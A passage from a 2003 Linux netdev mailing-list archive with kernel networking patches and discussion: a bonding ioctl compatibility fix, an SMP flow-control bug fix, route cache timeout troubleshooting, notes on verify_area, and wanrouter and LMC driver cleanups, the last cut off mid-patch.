(pub237.cambridge.redhat.com [213.86.99.237] (may be forged)) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TEkGFx010071 for ; Mon, 29 Sep 2003 07:46:17 -0700 Received: from hades.cambridge.redhat.com (hades.cambridge.redhat.com [172.16.18.64]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 34CDF63D64; Mon, 29 Sep 2003 15:46:11 +0100 (BST) Received: from localhost.localdomain (localhost.localdomain [127.0.0.1]) by hades.cambridge.redhat.com (8.12.10/8.11.0) with ESMTP id h8TEk8pb009462; Mon, 29 Sep 2003 15:46:09 +0100 Subject: Re: RFC: [2.6 patch] disallow modular IPv6 From: David Woodhouse To: Valdis.Kletnieks@vt.edu Cc: Arnaldo Carvalho de Melo , Adrian Bunk , netdev@oss.sgi.com, davem@redhat.com, pekkas@netcore.fi, lksctp-developers@lists.sourceforge.net, linux-kernel@vger.kernel.org In-Reply-To: <200309291438.h8TEcVtH021550@turing-police.cc.vt.edu> References: <20030928225941.GW15338@fs.tum.de> <20030928231842.GE1039@conectiva.com.br> <20030928232403.GX15338@fs.tum.de> <20030928233909.GG1039@conectiva.com.br> <20030929001439.GY15338@fs.tum.de> <20030929003229.GM1039@conectiva.com.br> <1064826174.29569.13.camel@hades.cambridge.redhat.com> <20030929141548.GS1039@conectiva.com.br> <200309291438.h8TEcVtH021550@turing-police.cc.vt.edu> Content-Type: text/plain Message-Id: <1064846768.21551.15.camel@hades.cambridge.redhat.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.5 (1.4.5-2.dwmw2.3) Date: Mon, 29 Sep 2003 15:46:08 +0100 Content-Transfer-Encoding: 7bit X-archive-position: 327 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev On Mon, 2003-09-29 at 10:38 -0400, Valdis.Kletnieks@vt.edu wrote: > No, this is the behavior we want, and we can write Kconfig help entries that > explain it. > > Anybody want to do a sanity check against CONFIG_IP6_NF_IPTABLES - that > looks like another gotcha if it isn't implemented properly (it may be, I just haven't > actually looked it over)? In 2.7 we really should just stop the CONFIG_xxx_MODULE definitions being available during builds of the static kernel. -- dwmw2 From shmulik.hen@intel.com Mon Sep 29 08:20:39 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 08:21:13 -0700 (PDT) Received: from hermes.hd.intel.com (fmr09.intel.com [192.52.57.35]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TFKcFx014339 for ; Mon, 29 Sep 2003 08:20:39 -0700 Received: from petasus.hd.intel.com (petasus.hd.intel.com [10.127.45.3]) by hermes.hd.intel.com (8.11.6-20030918-01/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8TFIBS19594 for ; Mon, 29 Sep 2003 15:18:11 GMT Received: from fmsmsxvs040.fm.intel.com (fmsmsxv040-1.fm.intel.com [132.233.48.108]) by petasus.hd.intel.com (8.11.6-20030918-01/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8TFF8x13141 for ; Mon, 29 Sep 2003 15:15:08 GMT Received: from jrslxjul4.npdj.intel.com ([10.12.254.188]) by fmsmsxvs040.fm.intel.com (NAVGW 2.5.2.11) with SMTP id M2003092908202924902 ; Mon, 29 Sep 2003 08:20:30 -0700 Content-Type: text/plain; charset="us-ascii" From: Shmulik Hen Reply-To: shmulik.hen@intel.com Organization: Intel corp. To: "Jeff Garzik" , "Jay Vosburgh" Subject: [PATCH}[bonding] Restore compatibilty with old ifenslave Date: Mon, 29 Sep 2003 18:20:28 +0300 User-Agent: KMail/1.4.3 Cc: bonding-devel@lists.sourceforge.net, netdev@oss.sgi.com MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200309291820.28609.shmulik.hen@intel.com> X-archive-position: 328 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shmulik.hen@intel.com Precedence: bulk X-list: netdev Hi, The patch below restores compatibility that was removed during the propagation set. That set added the ability to set the bond's hardware address in the conventional way using SIOCSIFHWADDR but also removed support for the very old way using BOND_SETHWADDR, which, although has been removed from the ifenslave code for years, turns out to still be in use in the ifenslave binary of recent distributions. The patch applies on 2.4.23-pre5 and should also cleanly apply on 2.6.0-test6 after fully applying the propagation set (patch 2 wasn't applied yet). Jeff, please apply this patch soon so that 2.4.23 won't be released with a bug that breaks compatibility. -- | Shmulik Hen Advanced Network Services | | Israel Design Center, Jerusalem | | LAN Access Division, Platform Networking | | Intel Communications Group, Intel corp. | diff -Naurp a/drivers/net/bonding/bond_main.c b/drivers/net/bonding/bond_main.c --- a/drivers/net/bonding/bond_main.c Mon Sep 29 15:15:57 2003 +++ b/drivers/net/bonding/bond_main.c Mon Sep 29 18:15:00 2003 @@ -3048,6 +3048,10 @@ static int bond_ioctl(struct net_device case SIOCBONDRELEASE: ret = bond_release(master_dev, slave_dev); break; + case BOND_SETHWADDR_OLD: + case SIOCBONDSETHWADDR: + ret = bond_sethwaddr(master_dev, slave_dev); + break; case BOND_CHANGE_ACTIVE_OLD: case SIOCBONDCHANGEACTIVE: if (USES_PRIMARY(bond_mode)) { From cfriesen@nortelnetworks.com Mon Sep 29 11:25:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 11:26:00 -0700 (PDT) Received: from zcars04f.nortelnetworks.com (zcars04f.nortelnetworks.com [47.129.242.57]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TIPNFx018868 for ; Mon, 29 Sep 2003 11:25:28 -0700 Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h8TIPF624215; Mon, 29 Sep 2003 14:25:15 -0400 (EDT) Received: from zcard0k6.ca.nortel.com ([47.129.242.158]) by zcard309.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SZX2Z2XN; Mon, 29 Sep 2003 14:25:16 -0400 Received: from pcard0ks.ca.nortel.com ([47.129.117.131]) by zcard0k6.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id SZWMSTKP; Mon, 29 Sep 2003 14:25:15 -0400 Received: from nortelnetworks.com (localhost.localdomain [127.0.0.1]) by pcard0ks.ca.nortel.com (Postfix) with ESMTP id A13672E150; Mon, 29 Sep 2003 14:25:12 -0400 (EDT) Message-ID: <3F787908.7000305@nortelnetworks.com> Date: Mon, 29 Sep 2003 14:25:12 -0400 X-Sybari-Space: 00000000 00000000 00000000 00000000 From: Chris Friesen User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020204 X-Accept-Language: en-us MIME-Version: 1.0 To: davem@redhat.com Cc: netdev@oss.sgi.com Subject: copybreak and gige network drivers Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 329 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: cfriesen@nortelnetworks.com Precedence: bulk X-list: netdev I'm looking at doing some work on a driver for the gige portion of the Marvell Disco2. The existing driver allocates mtu-sized buffers and always passes them off to the network stack. I'm thinking about adding some copybreak optimizations, but I'm not sure what value I should use for the copybreak. I would expect most packets to be on the smaller side. Any suggestions? Chris -- Chris Friesen | MailStop: 043/33/F10 Nortel Networks | work: (613) 765-0557 3500 Carling Avenue | fax: (613) 765-2986 Nepean, ON K2H 8E9 Canada | email: cfriesen@nortelnetworks.com From akpm@osdl.org Mon Sep 29 12:57:52 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 12:58:27 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TJvpFx023063 for ; Mon, 29 Sep 2003 12:57:51 -0700 Received: from dhcp-140-177.pao.digeo.com (build.pdx.osdl.net [172.20.1.2]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8TJvj112604; Mon, 29 Sep 2003 12:57:46 -0700 Date: Mon, 29 Sep 2003 12:37:34 -0700 From: Andrew Morton To: netdev@oss.sgi.com Cc: dfages@arkoon.net Subject: Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP Message-Id: <20030929123734.5bd97a47.akpm@osdl.org> X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 330 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: akpm@osdl.org Precedence: bulk X-list: netdev Begin forwarded message: Date: Mon, 29 Sep 2003 14:08:54 +0200 From: dfages@arkoon.net To: linux-kernel@vger.kernel.org Subject: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP Hi, by testing the CONFIG_NET_HW_FLOWCONTROL (NIC Hardware throttling) on a SMP system, I found a bug in net/core/dev.c : the netdev_dropping variable can be set to a negative value (the result is that a CPU can be locked in "throttle" state). This bug seems to exist in 2.4 and in 2.6 kernels. Here's a typical scenario : - Throttling --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 && netdev_dropping == 2 - 1st packet Unthrottle ( in net_rx_action() ), received by CPU 0 --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 && netdev_dropping == 1 - 2nd packet Unthrottle ( in net_rx_action() ), received by CPU 0 --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==1 && netdev_dropping == 0 - 3nd packet Unthrottle ( in net_rx_action() ), received by CPU 1 --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==0 && netdev_dropping == -1 and so on... The problem is that the (CPU)queue->throttle should be set to zero every time the netdev_dropping variable is decremented. Here's a patch for the 2.4.19 kernel (tested with success) : --- linux-2.4.19/net/core/dev.c.orig Mon Sep 29 12:49:14 2003 +++ linux-2.4.19/net/core/dev.c Tue Sep 23 18:35:35 2003 @@ -1519,8 +1519,8 @@ #ifdef CONFIG_NET_HW_FLOWCONTROL if (queue->throttle && queue->input_pkt_queue.qlen < no_cong_thresh ) { + queue->throttle = 0; if (atomic_dec_and_test(&netdev_dropping)) { - queue->throttle = 0; netdev_wakeup(); goto softnet_break; } I haven't done a patch for 2.4.22 (as we currently use 2.4.19) but the same modification should be applied around lines 1572 to 1577 of net/core/dev.c For 2.6.0-test5, the lines to modified are arount 1631 to 1637. Regards, --- Daniel FAGES ARKOON Network Security http://www.arkoon.net - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.kernel.org More majordomo info at http://vger.kernel.org/majordomo-info.html Please read the FAQ at http://www.tux.org/lkml/ From dana.lacoste@peregrine.com Mon Sep 29 12:57:48 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 12:58:29 -0700 (PDT) Received: from willy.ottawa.loran.com (sprocket.loran.com [209.167.240.9]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TJvlFx023060 for ; Mon, 29 Sep 2003 12:57:48 -0700 Received: from ottonexc1.peregrine.com (localhost [127.0.0.1]) by willy.ottawa.loran.com (Postfix) with ESMTP id 8ECE917173 for ; Mon, 29 Sep 2003 15:52:00 -0400 (EDT) Received: from [172.22.2.90] (dlacoste.ottawa.loran.com [172.22.2.90]) by ottonexc1.peregrine.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id TFF943ZD; Mon, 29 Sep 2003 15:57:50 -0400 Subject: route cache and messed up network From: Dana Lacoste To: netdev@oss.sgi.com Content-Type: text/plain Message-Id: <1064865515.8417.2.camel@dlacoste.ottawa.loran.com> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 Date: Mon, 29 Sep 2003 15:58:36 -0400 Content-Transfer-Encoding: 7bit X-archive-position: 331 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dana.lacoste@peregrine.com Precedence: bulk X-list: netdev (Originally sent to linux-net, but that list seems to be almost zero traffic lately and Dave Miller suggested that this list might have better results :) (Note also that I'm not subscribed [can't find out how to do so on the sgi site]) I'm trying to get a system working where Linux's network route cache is causing problems. Essentially, the linux side of the problem appears to be that /proc/sys/net/ipv4/gc_timeout (for ICMP redirect entries) times out not on how long it's been in the cache but on how long it's been idle : if the entry is not idle it will never time out. I verified this behaviour by setting the timeout to 20 seconds and testing it with ping : echo '20' > /proc/sys/net/ipv4/gc_timeout ping ip_address once Redirect message appears in output ping ip_address again (once) Redirect does not appear sleep 30 ping ip_address again (once) Redirect message appears in output ping for 30 seconds ping ip_address again (once) Redirect does not appear sleep 30 ping ip_address again (once) Redirect message appears in output So it only expires the cache if it's not active. Can I change this? I notice that net/ipv4/route.c has a line that says : /* Entry is expired even if it is in use */ (kernel 2.4.22, stock, line 408) Can I force it to timeout entries that are in use? Here's the situation : System A is a linux server System B is a Cisco router System C is a PIX firewall Subnet X has the linux server, Cisco router, and PIX firewall Subnet Y is an internal network connected via System B Subnet Z is the internet, behind the PIX System A (linux) has a single default route to System B (cisco router) for all traffic. System B (cisco router) has static routes for (is connected to) Subnets X and Y, and a default route to System C (the firewall.) Sometimes the connection to Subnet Y on System B (cisco router) will go down when System A (Linux server) tries to communicate with a system in Subnet Y. It for some unknown and really bass-ackwards reason decides then that the default route (to System C, the firewall) is where the packets should be going, so it sends them there along with an ICMP redirect back to System A (the linux box,) to let it know that it would be more efficient to send the packet to System C (the firewall) than to System B (the cisco router.) Well, System C (the firewall) doesn't route packets from the internal network to the internal network : it just throws them away. So the packets from System A (linux server) to Subnet Y (internal network) don't arrive. As the gc_timeout is set to 300 seconds and the linux kernel only times out on idle routes, and System A (the linux server) tries to reconnect every minute, the (bad) route cache entry never expires and the packets never reach their destination again. I've proposed that the cisco box shouldn't send ICMP redirects for subnets which it has a local connection to if no other connection to that subnet exists, and that the PIX firewall should be intelligent enough to do another ICMP redirect back to the cisco router, but instead it just throws all the packets away and I'm not allowed to change either of these things. Which means I can only change the linux box. Is there a way I can change it so that it does a timeout on all route cache entries, wether they're used or not? Thanks Dana Lacoste Ottawa, Canada From rddunlap@osdl.org Mon Sep 29 13:14:09 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 13:14:44 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TKE9Fx024061 for ; Mon, 29 Sep 2003 13:14:09 -0700 Received: from dragon.pdx.osdl.net (dragon.pdx.osdl.net [172.20.1.27]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8TKDx115813; Mon, 29 Sep 2003 13:14:00 -0700 Date: Mon, 29 Sep 2003 13:06:08 -0700 From: "Randy.Dunlap" To: David Gibson Cc: netdev@oss.sgi.com, jgarzik@pobox.com Subject: Re: [PATRCH] janitor: hermes: delete verify_area call Message-Id: <20030929130608.156bbc2b.rddunlap@osdl.org> In-Reply-To: <20030929052925.GA5037@zax> References: <20030925215902.57f53822.rddunlap@osdl.org> <20030929052925.GA5037@zax> Organization: OSDL X-Mailer: Sylpheed version 0.9.4 (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: +5V?h'hZQPB9kW Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 332 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rddunlap@osdl.org Precedence: bulk X-list: netdev On Mon, 29 Sep 2003 15:29:25 +1000 David Gibson wrote: | On Thu, Sep 25, 2003 at 09:59:02PM -0700, Randy.Dunlap wrote: | > | > Hi, | > Please apply to 2.6.0-test5-current. | > | > Thanks, | | Sorry, can you clarify why this verify_area() is not needed? Sure, I'll try to do that. There are several related reasons for it. Summary: Using verify_area() [or access_ok()] is redundant if copy*user(), get_user(), or put_user() is being used, but must (*should*) be used if __copy*user(), __get_user(), or __put_user() are being used. a. [include/asm-i386/uaccess.h] verify_area: - Obsolete, use access_ok() b. copy_*_user() already calls access_ok() to validate the user address. The __* versions of copy*user() and __get/put_user() do not use access_ok(), so checking must be done before using them. HTH. -- ~Randy | From: Domen Puncer | | IMO, that verify_area wasn't needed. | | linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c | 4 | ---- | 1 files changed, 4 deletions(-) | | diff -puN drivers/net/wireless/orinoco.c~net_wireless_orinoco_verify | +drivers/net/wireless/orinoco.c | --- | +linux-260-t5bk12-kj/drivers/net/wireless/orinoco.c~net_wireless_orinoco_verify | +2003-09-25 16:03:17.000000000 -0700 | +++ linux-260-t5bk12-kj-rddunlap/drivers/net/wireless/orinoco.c | 2003-09-25 | +16:03:17.000000000 -0700 | @@ -3833,10 +3833,6 @@ orinoco_ioctl(struct net_device *dev, st | { SIOCIWLASTPRIV, 0, 0, "dump_recs" }, | }; | | - err = verify_area(VERIFY_WRITE, | wrq->u.data.pointer, | +sizeof(privtab)); | - if (err) | - break; | - | wrq->u.data.length = sizeof(privtab) / | +sizeof(privtab[0]); | if (copy_to_user(wrq->u.data.pointer, privtab, | +sizeof(privtab))) | err = -EFAULT; From Robert.Olsson@data.slu.se Mon Sep 29 14:25:33 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 14:26:08 -0700 (PDT) Received: from mail1.slu.se (mail1.slu.se [130.238.96.11]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TLPVFx025180 for ; Mon, 29 Sep 2003 14:25:32 -0700 Received: from robur.slu.se (robur.slu.se [130.238.98.12]) by mail1.slu.se (8.9.3+/8.9.3) with ESMTP id XAA06297; Mon, 29 Sep 2003 23:25:24 +0200 Received: by robur.slu.se (Postfix, from userid 1000) id CD3EFEC22F; Mon, 29 Sep 2003 23:25:24 +0200 (CEST) From: Robert Olsson MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16248.41796.797321.700866@robur.slu.se> Date: Mon, 29 Sep 2003 23:25:24 +0200 To: Andrew Morton Cc: netdev@oss.sgi.com, dfages@arkoon.net Subject: Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP In-Reply-To: <20030929123734.5bd97a47.akpm@osdl.org> References: <20030929123734.5bd97a47.akpm@osdl.org> X-Mailer: VM 7.17 under Emacs 21.3.1 X-archive-position: 333 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: Robert.Olsson@data.slu.se Precedence: bulk X-list: netdev Hello! IMO HW_FLOWCONTROL is now outdated. It has served very well and encouraged people to use for Linux production networking. With a 2 tulip NIC's on a UP system as a typical system. Only tulip has code for it. This option was added by Alexey in 2.1.63 something... Cheers. --ro Andrew Morton writes: > > > Begin forwarded message: > > Date: Mon, 29 Sep 2003 14:08:54 +0200 > From: dfages@arkoon.net > To: linux-kernel@vger.kernel.org > Subject: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP > > > > > Hi, > by testing the CONFIG_NET_HW_FLOWCONTROL (NIC Hardware throttling) on > a SMP system, I found a bug in net/core/dev.c : the netdev_dropping > variable can be set to a negative value (the result is that a CPU can > be locked in "throttle" state). > This bug seems to exist in 2.4 and in 2.6 kernels. > > Here's a typical scenario : > > - Throttling --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 > && netdev_dropping == 2 > - 1st packet Unthrottle ( in net_rx_action() ), received by CPU 0 > --> (CPU 0)queue->throttle==1 && (CPU 1)queue->throttle==1 > && netdev_dropping == 1 > - 2nd packet Unthrottle ( in net_rx_action() ), received by CPU 0 > --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==1 > && netdev_dropping == 0 > - 3nd packet Unthrottle ( in net_rx_action() ), received by CPU 1 > --> (CPU 0)queue->throttle==0 && (CPU 1)queue->throttle==0 > && netdev_dropping == -1 > > and so on... > > The problem is that the (CPU)queue->throttle should be set to zero every > time the netdev_dropping variable is decremented. > > > Here's a patch for the 2.4.19 kernel (tested with success) : > > --- linux-2.4.19/net/core/dev.c.orig Mon Sep 29 12:49:14 2003 > +++ linux-2.4.19/net/core/dev.c Tue Sep 23 18:35:35 2003 > @@ -1519,8 +1519,8 @@ > > #ifdef CONFIG_NET_HW_FLOWCONTROL > if (queue->throttle && queue->input_pkt_queue.qlen < no_cong_thresh ) { > + queue->throttle = 0; > if (atomic_dec_and_test(&netdev_dropping)) { > - queue->throttle = 0; > netdev_wakeup(); > goto softnet_break; > } > > > > > I haven't done a patch for 2.4.22 (as we currently use 2.4.19) but the same > modification should be applied around lines 1572 to 1577 of net/core/dev.c > > For 2.6.0-test5, the lines to modified are arount 1631 to 1637. > > Regards, > --- > Daniel FAGES > ARKOON Network Security http://www.arkoon.net > > > - > To unsubscribe from this list: send the line "unsubscribe linux-kernel" in > the body of a message to majordomo@vger.kernel.org > More majordomo info at http://vger.kernel.org/majordomo-info.html > Please read the FAQ at http://www.tux.org/lkml/ > From shemminger@osdl.org Mon Sep 29 14:36:44 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 14:37:17 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TLadFx025744 for ; Mon, 29 Sep 2003 14:36:44 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8TLaU102742; Mon, 29 Sep 2003 14:36:31 -0700 Date: Mon, 29 Sep 2003 14:36:03 -0700 From: Stephen Hemminger To: Nenad Corbic Cc: Jeff Garzik , netdev@oss.sgi.com Subject: [PATCH] remove dev_get from wanrouter Message-Id: <20030929143603.06d32058.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 334 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev The call to dev_get() in wanrouter_device_new_if is racy and redundant and should be removed. The later 'register_netdev()' does the same test internally and will return the appropriate error if the name already exists. This patch is against 2.6.0-test6. Resend of earlier patch because it was ignored, or missed. diff -urN -X dontdiff linux-2.5/net/wanrouter/wanmain.c linux-2.5-net/net/wanrouter/wanmain.c --- linux-2.5/net/wanrouter/wanmain.c 2003-09-22 10:21:35.000000000 -0700 +++ linux-2.5-net/net/wanrouter/wanmain.c 2003-09-22 10:49:29.000000000 -0700 @@ -726,8 +726,6 @@ if (dev->name == NULL) { err = -EINVAL; - } else if (dev_get(dev->name)) { - err = -EEXIST; /* name already exists */ } else { #ifdef WANDEBUG From jgarzik@pobox.com Mon Sep 29 14:40:04 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 14:40:38 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TLdhFx026152 for ; Mon, 29 Sep 2003 14:40:04 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:33587 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 1A45k5-00075y-8V; Mon, 29 Sep 2003 22:39:41 +0100 Message-ID: <3F78A691.1040406@pobox.com> Date: Mon, 29 Sep 2003 17:39:29 -0400 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Robert Olsson CC: Andrew Morton , netdev@oss.sgi.com, dfages@arkoon.net Subject: Re: Fw: [BUG/PATCH] CONFIG_NET_HW_FLOWCONTROL and SMP References: <20030929123734.5bd97a47.akpm@osdl.org> <16248.41796.797321.700866@robur.slu.se> In-Reply-To: <16248.41796.797321.700866@robur.slu.se> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 335 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Robert Olsson wrote: > Hello! > > IMO HW_FLOWCONTROL is now outdated. It has served very well and encouraged > people to use for Linux production networking. With a 2 tulip NIC's on a UP > system as a typical system. Only tulip has code for it. This option was > added by Alexey in 2.1.63 something... If someone had a NAPI patch for tulip, we could remove HW_FLOWCONTROL option altogether :) Jeff From shemminger@osdl.org Mon Sep 29 14:42:00 2003 Received: with ECARTIS (v1.0.0; list netdev); Mon, 29 Sep 2003 14:42:32 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.10) with SMTP id h8TLfwFx026577 for ; Mon, 29 Sep 2003 14:41:59 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8TLfl103618; Mon, 29 Sep 2003 14:41:47 -0700 Date: Mon, 29 Sep 2003 14:41:19 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: netdev@oss.sgi.com Subject: [PATCH] wan/lmc -- convert to new network device model Message-Id: <20030929144119.03cf1ad7.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 336 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Resend of LMC driver patch for 2.6.0-test6 * do proper probing * allocate network device with alloc_netdev * use standard pci_id's instead of local defines * use standard PCI device interface to find and remove devices. diff -urN -X dontdiff linux-2.5/drivers/net/wan/lmc/lmc_main.c linux-2.5-net/drivers/net/wan/lmc/lmc_main.c --- linux-2.5/drivers/net/wan/lmc/lmc_main.c 2003-08-20 11:19:42.000000000 -0700 +++ linux-2.5-net/drivers/net/wan/lmc/lmc_main.c 2003-09-22 11:43:51.000000000 -0700 @@ -78,30 +78,22 @@ #include "lmc_debug.h" #include "lmc_proto.h" - -static int Lmc_Count = 0; -static struct net_device *Lmc_root_dev = NULL; -static u8 cards_found = 0; - static int lmc_first_load = 0; -int LMC_PKT_BUF_SZ = 1542; +static int LMC_PKT_BUF_SZ = 1542; -#ifdef MODULE static struct pci_device_id lmc_pci_tbl[] = { - { 0x1011, 0x009, 0x1379, PCI_ANY_ID, 0, 0, 0}, - { 0, } + { PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_DEC_TULIP_FAST, + PCI_VENDOR_ID_LMC, PCI_ANY_ID }, + { PCI_VENDOR_ID_DEC, PCI_DEVICE_ID_DEC_TULIP_FAST, + PCI_ANY_ID, PCI_VENDOR_ID_LMC }, + { 0 } }; MODULE_DEVICE_TABLE(pci, lmc_pci_tbl); - MODULE_LICENSE("GPL"); -#endif -int lmc_probe_fake(struct net_device *dev); -static struct net_device *lmc_probe1(struct net_device *dev, unsigned long ioaddr, unsigned int irq, - int chip_id, int subdevice, int board_idx); static int lmc_start_xmit(struct sk_buff *skb, struct net_device *dev); static int lmc_start_xmit(struct sk_buff *skb, struct net_device *dev); static int lmc_rx (struct net_device *dev); @@ -115,12 +107,9 @@ static void lmc_running_reset(struct net_device *dev); static int lmc_ifdown(struct net_device * const); static void lmc_watchdog(unsigned long data); -static int lmc_init(struct net_device * const); static void lmc_reset(lmc_softc_t * const sc); static void lmc_dec_reset(lmc_softc_t * const sc); static void lmc_driver_timeout(struct net_device *dev); -int lmc_setup(void); - /* * linux reserves 16 device specific IOCTLs. We call them @@ -815,67 +804,77 @@ } -static int lmc_init(struct net_device * const dev) /*fold00*/ +static void lmc_setup(struct net_device * const dev) /*fold00*/ { - lmc_trace(dev, "lmc_init in"); - lmc_trace(dev, "lmc_init out"); - - return 0; + lmc_trace(dev, "lmc_setup in"); + + dev->type = ARPHRD_HDLC; + dev->hard_start_xmit = lmc_start_xmit; + dev->open = lmc_open; + dev->stop = lmc_close; + dev->get_stats = lmc_get_stats; + dev->do_ioctl = lmc_ioctl; + dev->set_config = lmc_set_config; + dev->tx_timeout = lmc_driver_timeout; + dev->watchdog_timeo = (HZ); /* 1 second */ + + lmc_trace(dev, "lmc_setup 